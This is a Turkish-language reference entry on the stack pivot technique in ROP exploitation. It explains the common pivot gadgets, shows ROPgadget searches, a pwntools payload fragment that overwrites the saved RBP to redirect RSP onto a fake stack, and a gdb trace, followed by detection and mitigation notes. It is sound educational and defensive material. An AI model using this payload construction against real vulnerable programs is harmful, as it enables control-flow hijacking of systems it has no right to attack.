Stack pivot¶
Daha uzun bir ROP chain'in, orijinal
buffer'ın çok küçük olduğu yerde çalışabilmesi için stack pointer'ı (RSP/ESP) attacker'ın kontrol ettiği belleğe yönlendirmek.
Mechanism¶
Bir stack buffer overflow çoğu zaman sana saved return address'ten sonra
yalnızca birkaç byte verir — tam bir ROP chain dizmek için yeterli değil. Bir
stack pivot bunu, RSP'yi tamamen kontrol ettiğin belleğe (bir heap buffer,
BSS veya leak'lediğin/spray'lediğin bir region) yönlendirerek çözer; böylece
ret/pop instruction'ları senin fake stack'ini tüketir.
Note
Suistimal edilen invariant, RSP'nin sadece bir register olmasıdır: CPU,
RSP'nin gösterdiği her ne ise onu "the stack" olarak ele alır, konumuna bağlı
bir bütünlük yoktur. Pivoting basitçe RSP'ye seçilmiş bir değer yükler ve
bundan sonra "we take control of the RSP register and fake the location of
the stack" — alanın daha önce buna izin vermediği yerde tam bir ROP chain'i
mümkün kılar. Pivot gadget'ının kendisi, küçük overflow ile ulaştığın tek
control flow parçasıdır; sonrasındaki her şey yeni stack'ten çalışır.
Yaygın pivot gadget'ları, en küçük ayak izinden başlayarak:
pop rsp ; ret— en doğrudan, RIP'ten sonra yalnızca 8 byte ister, ama nadiren bulunur.leave ; ret—mov rsp, rbp ; pop rbp'ye eşittir, yani kontrol edilen bir RBP'yi RSP'ye taşır. Saved RBP'yi (RIP'ten 8 byte önce) hedefinle overwrite et, RIP'ileave; retgadget'ına ayarla ve RSP, RBP'yi takip eder. En alan-verimli olanı.xchg eax, esp ; ret(veyaxchg rsp, rax) — pivot adresini RAX'a yüklemek için birpop raxile eşleştir, sonra onu RSP'ye swap et.mov rsp, rbp ; ret/add rsp, <n> ; ret— doğrudan veya göreli ayarlamalar.
Walkthrough¶
Pivot gadget'larını ROPgadget (veya ropper) ile bul:
$ ROPgadget --binary ./vuln --only "leave|ret"
0x0000000000401a3d : leave ; ret
$ ROPgadget --binary ./vuln | grep -E "pop rsp|xchg .*sp"
0x0000000000401c11 : pop rsp ; ret
0x0000000000400b9d : xchg eax, esp ; ret
pwntools ile leave; ret pivot'u — saved RBP'yi fake-stack adresiyle overwrite
et ve leave; ret içine return et:
from pwn import *
context.arch = 'amd64'
e = ELF('./vuln')
leave_ret = 0x401a3d # mov rsp,rbp ; pop rbp ; ret
fake_stack = 0x404800 # attacker-controlled (e.g. BSS we filled)
# 1) write the ROP chain at fake_stack via an earlier read/overflow
# 2) overflow: [pad][saved RBP = fake_stack][RIP = leave_ret]
payload = b'A'*offset_to_rbp
payload += p64(fake_stack) # becomes RSP after leave
payload += p64(leave_ret) # RIP
Pivot'u gdb'de izleme
pwndbg> b *0x401a3d # the leave;ret
pwndbg> c
pwndbg> info registers rsp
rsp 0x7fffffffe0a0
pwndbg> si # mov rsp, rbp ; pop rbp
pwndbg> info registers rsp
rsp 0x404808 # <-- pivoted onto fake_stack+8, ROP runs from here
leave'den sonra RSP attacker adresini tutar; ardından gelen ret, bir
sonraki "return address"ini fake stack'ten alır.
Bu not genel pivot primitive'ini (pivot gadget'ları ve mekanik) anlatır;
pivot'a ulaşmanın ileri-seviye, libc'ye özgü bir yolu için bkz.
svcudp_reply gadget — orada rdi kontrolü
verildiğinde svcudp_reply içindeki sabit-offset'li bir dolaylı call,
buradaki bir leave; ret pivot'una zincirlenir; yani o not bir pivot
gadget'ı değil, pivot'u tetikleyen bir controllable-call kaynağıdır.
Aynı primitive kernel exploitation'da da geçerlidir (corrupt edilmiş bir
task/IRQ stack'inden sonra kontrol edilen bir rsp, chain'in userland'de
eşlenmiş bir page'den çalışmasına izin verir). Bunun ring 0'a özgü,
SMEP-bypass odaklı tam chain hâli için bkz.
Kernel ROP stack pivot — orada pivot yalnızca
CR4.SMEP'i kapatan daha büyük bir kernel ROP chain'inin ilk adımıdır.
Detection¶
Shadow stack'ler (Intel CET), ret hedefleri kayıtlı call stack'ten saptığında
uyuşmazlığı tespit eder. Heap/BSS'e işaret eden anormal RSP değerleri, crash
dump'larında ve ROP tespit enstrümantasyonunda görünür.
Mitigation¶
Intel CET shadow stack ve
stack canary'ler (pivot'a
genellikle bir stack overflow üzerinden ulaşılır);
NX/DEP pivot'u shellcode
yerine bir ROP chain beslemeye zorlar ve
ASLR/PIE hem gadget'ları
hem de fake stack'i bulmanın maliyetini yükseltir.